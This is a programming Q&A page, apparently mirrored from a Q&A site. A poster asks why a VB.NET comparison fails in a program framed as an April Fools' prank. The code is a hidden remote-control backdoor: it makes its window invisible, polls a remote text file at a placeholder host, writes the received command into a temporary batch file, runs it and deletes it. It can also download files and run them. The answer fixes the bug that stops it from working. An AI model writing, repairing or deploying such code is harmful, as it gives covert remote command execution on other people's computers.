VB.NET variable check

This program has a "fl" variable that at a specific point, gets changed to file(0), the first line of the read file. I want to run some stuff when "fl" IS NOT EQUAL to "file(0)". I'm making this for the 1st of April. I'm not the best at this, so I figured to start this early. (CTRL + F for THIS_LINE if you want to find the line that I suppose doesn't work.)

Imports System
Imports System.IO
Imports System.Collections
Public Class Form1

    Private Property fl As String

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.Opacity = 0
        start.Enabled = True
    End Sub

    Private Sub start_Tick(sender As Object, e As EventArgs) Handles start.Tick
        main()
        start.Enabled = False
    End Sub

    Private Sub main()
        ' Preparations
        start.Enabled = False
        Me.Hide()
        Dim stopval As Integer = 0
        Dim failcount As Integer = 0
        If Directory.Exists(My.Computer.FileSystem.SpecialDirectories.Temp & "hb") = False Then
            My.Computer.FileSystem.CreateDirectory(My.Computer.FileSystem.SpecialDirectories.Temp & "hb")
        End If
        If File.Exists(My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt") Then
            My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt")
        End If
        Dim fl As String = "asd"
        ' Actual stuff that needs to happen
        dlfile.Enabled = True
    End Sub

    Private Sub dlfile_Tick(sender As Object, e As EventArgs) Handles dlfile.Tick
        Try
            My.Computer.Network.DownloadFile("http://sth.sth/v.txt", My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt")
        Catch ex As Exception
            MsgBox("fail")
            Dim asd As Integer = 0
        End Try
        dlsuc()
    End Sub

    Private Sub dlsuc()
        Dim x As Integer = 0
        Threading.Thread.Sleep(3000)
        Dim file_ As String = My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt"
        Dim file As String() = IO.File.ReadAllLines(file_)
        Dim firstline As String = file(0)
        Dim secondline As String = file(1)
        If fl IsNot file(0) Then 'THIS_LINE
            ' Executing the command
            If secondline = "command" Then
                Dim file_name As String = My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat"
                Dim i As Integer
                Dim aryText(3) As String
                aryText(0) = "@echo off"
                aryText(1) = "cls"
                aryText(2) = file(2)
                aryText(3) = "pause"
                Dim objWriter As New System.IO.StreamWriter(file_name)
                For i = 0 To 3
                    objWriter.WriteLine(aryText(i))
                Next
                objWriter.Close()
                Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat")
                Threading.Thread.Sleep(500)
                Do Until x > 49
                    Try
                        My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat")
                    Catch ex As Exception
                        Dim xyz As String = Nothing
                    End Try
                    x = x + 1
                Loop
            End If
            If secondline = "download" Then
                Dim filename As String = file(3)
                My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
            End If
            If secondline = "downloadr" Then
                Dim filename As String = file(3)
                My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
                Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
            End If
        End If
        ' After executing the given command
        fl = file(0)
        Threading.Thread.Sleep(500)
        My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt")
        file_ = Nothing
        file = Nothing
        firstline = Nothing
        secondline = Nothing
    End Sub
    End Class

Update:

Also, do you know why doesn't this work? I trid it with them in one if too:

    If Not fl.Equals(file(0)) Or Not fl.Equals("000") Then 

    End If

But it's not working

Private Sub dlsuc()
    Dim x As Integer = 0
    Threading.Thread.Sleep(3000)
    Dim file_ As String = My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt"
    Dim file As String() = IO.File.ReadAllLines(file_)
    Dim firstline As String = file(0)
    Dim secondline As String = file(1)
    If Not fl.Equals(file(0)) Then 'THIS_LINE
        If Not fl = "000" Then
            ' Executing the command
            If secondline = "command" Then
                Dim file_name As String = My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat"
                Dim i As Integer
                Dim aryText(3) As String
                aryText(0) = "@echo off"
                aryText(1) = "cls"
                aryText(2) = file(2)
                aryText(3) = "pause"
                Dim objWriter As New System.IO.StreamWriter(file_name)
                For i = 0 To 3
                    objWriter.WriteLine(aryText(i))
                Next
                objWriter.Close()
                Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat")
                Threading.Thread.Sleep(500)
                Do Until x > 49
                    Try
                        My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat")
                    Catch ex As Exception
                        Dim xyz As String = Nothing
                    End Try
                    x = x + 1
                Loop
            End If
            If secondline = "download" Then
                Dim filename As String = file(3)
                My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
            End If
            If secondline = "downloadr" Then
                Dim filename As String = file(3)
                My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
                Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
            End If
        End If
    End If
    ' After executing the given command
    fl = file(0)
    Threading.Thread.Sleep(500)
    My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt")
    file_ = Nothing
    file = Nothing
    firstline = Nothing
    secondline = Nothing
End Sub

Then change this

If fl IsNot file(0) Then 'THIS_LINE

to

If Not fl.Equals(file(0)) Then 'THIS_LINE

Side note:

You have declared fl twice, so if that was not intended, change this

Dim fl As String = "asd"`

to this

fl = "asd"
链接地址: http://www.djcxy.com/p/52800.html

上一篇: 如何在循环中创建任务并等待所有任务完成

下一篇: VB.NET变量检查